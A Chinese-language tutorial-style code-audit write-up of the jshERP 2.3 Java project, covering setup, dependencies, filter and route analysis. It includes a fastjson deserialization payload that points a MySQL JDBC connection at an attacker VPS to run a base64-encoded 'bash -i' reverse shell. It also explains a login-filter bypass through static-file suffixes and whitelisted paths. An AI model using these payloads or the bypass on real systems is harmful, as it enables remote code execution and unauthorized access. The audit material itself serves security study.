对于Java代码审计,主要的审计步骤如下:
确定项目技术框架、项目结构
环境搭建
配置文件的分析:如pom.xml、web.xml等,特别是pom.xml,可以从组件中寻找漏洞
Filter分析:Filter是重要的组成部分,提前分析有利于把握项目对请求的过滤,在后续漏洞利用时能够综合分析
路由分析:部分项目请求路径与对用的controller方法不对应,提前通过抓包调试分析,了解前端请求到后端方法的对应关系,便于在后续分析中更快定位代码
漏洞探测
探测之前可借用工具辅助分析,如codeql、fortify、Yakit、BP等
SQL注入分析、RCE分析可先从代码入手,通过关键API及特征关键字来进行逆向数据流分析,从sink到source,判断参数是否可控
XSS、文件上传等漏洞适合正向数据流分析,由于存储型XSS数据流断裂,从代码层面不好将两条数据流联系起来,可以通过前端界面的测试,找到插入口和显示处性质一样的点,在通过后端代码分析,构造出可利用的payload
逻辑漏洞这类也是从前端入手比较好处理,后端代码庞大难以定位
个人观点,仅供参考
文件结构分析
在审计项目之前,先了解项目的结构
src/main/java:存放java核心代码,里面包含controller、service、filter、dao等,还包括主函数ErpApplication
src/main/resources:包含mybatis配置文件,properties等
erp_web:里面存放的是该网站的html、css及js文件
docs:包含数据库文件及文档文件等
test:项目的测试目录
pom.xml:项目的依赖配置
环境搭建
数据库创建:
mysql -u root -h 127.0.0.1 -p
create database jsh_erp;
use jsh_erp;
source D:/audit-code/java/jshERP-2.3/docs/jsh_erp.sql
项目启动:
application.properties文件中配置数据库连接信息及server和port,启动主类ErpApplication.java即可
配置文件分析
在对项目开始审计之前,需要先了解其配置文件
application.properties:Spring的全局配置文件,里面包含server的ip及port,同时还有数据库连接信息,在环境搭建时可修改
pom.xml:项目的组件依赖,审计开始前先了解依赖的组件并判断是否存在对应组件版本的漏洞,这也可以是漏洞挖掘的第一步
依赖fastjson
com.alibaba
fastjson
1.2.55
1.2.55版本存在反序列化漏洞,现在需要寻找利用点,全局搜索parseObject方法
猜测search可能可控,进入分析
public static String getInfo(String search, String key){
String value = "";
if(search!=null) {
// 这里
JSONObject obj = JSONObject.parseObject(search);
value = obj.getString(key);
if(value.equals("")) {
value = null;
}
}
return value;
}
查看getInfo函数的调用处,比较多,一个一个筛选,这里选择UserComponent.java中的getUserList方法进行分析
private List<?> getUserList(Map map)throws Exception {
String search = map.get(Constants.SEARCH);
// 这里
String userName = StringUtil.getInfo(search, "userName");
String loginName = StringUtil.getInfo(search, "loginName");
String order = QueryUtils.order(map);
String filter = QueryUtils.filter(map);
return userService.select(userName, loginName, QueryUtils.offset(map), QueryUtils.rows(map));
}
逐层向上调用分析,可以得知在ResourceController.java中调用select,即search参数可控
@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
@RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
@RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
@RequestParam(value = Constants.SEARCH, required = false) String search,
HttpServletRequest request)throws Exception {
Map parameterMap = ParamUtils.requestToMap(request);
parameterMap.put(Constants.SEARCH, search);
PageQueryInfo queryInfo = new PageQueryInfo();
Map objectMap = new HashMap();
if (pageSize != null && pageSize <= 0) {
pageSize = 10;
}
String offset = ParamUtils.getPageOffset(currentPage, pageSize);
if (StringUtil.isNotEmpty(offset)) {
parameterMap.put(Constants.OFFSET, offset);
}
// 这里
List<?> list = configResourceManager.select(apiName, parameterMap);
objectMap.put("page", queryInfo);
if (list == null) {
queryInfo.setRows(new ArrayList<Object>());
queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
}
queryInfo.setRows(list);
queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}
根据路由分析,这里的apiName为user,这样能够寻找到UserComponent里的select方法
测试
抓包设置payload
{"@type":"java.net.Inet4Address","val":"xxxxxx"}
收到DNS请求,证明漏洞存在
接下来可以进行LDAP注入,但是需要确定AutoType是否开启
可以通过以下代码开启
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
但是在实际测试的过程中,没有开启可以通过mysql服务来打
payload:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsip",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
参考:蓝帽杯2022决赛 - 赌怪 writeup - KingBridge - 博客园 (cnblogs.com)
这里就不继续测试,大致原理是这样,如果不懂fastjson,请参考Java安全之FastJson漏洞分析与利用 | DiliLearngent's Blog
依赖log4j
org.apache.logging.log4j
log4j-to-slf4j
2.10.0
compile
无相关漏洞,可以通过官方文档或者maven仓库中查看:Maven Repository: org.apache.logging.log4j » log4j-to-slf4j (mvnrepository.com)
还有一些配置文件这里没有涉及到就不提了
Filter分析
在项目中只存在一个Filter类,即LogCostFilter,观察其doFilter方法
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;
}
// 使用ignoredList中内容进行认证
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
// 白名单过滤
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
根据对init方法的分析可知,ignoredUrls为[.css,.js,.jpg,.png,.gif,.ico],allowUrls为[/user/login,/user/registerUser,/v2/api-docs]
先看verify方法
private static String regexPrefix = "^.";
private static String regexSuffix = ".$";
private static boolean verify(List ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}
将ignoredUrls中的逐个元素拼接成正则表达式后与当前url进行匹配,匹配成功即返回true,例如第一个元素形成的正则表达式为^..css.$,即只要包含ignoredUrls中的任意一个元素即可在不登录的情况下访问
在白名单过滤中,只要请求url中以/user/login、/user/registerUser、/v2/api-docs开头即不需要登陆即可访问
路由分析
大部分请求路径都包含在Controller文件夹中,这里有一个特殊的类,即ResourceController.java,它的请求路径中包含{apiName},代码中使用CommonQueryManager.java类对其进行处理,以select方法为例:
public List<?> select(String apiName, Map parameterMap)throws Exception {
if (StringUtil.isNotEmpty(apiName)) {
return container.getCommonQuery(apiName).select(parameterMap);
}
return new ArrayList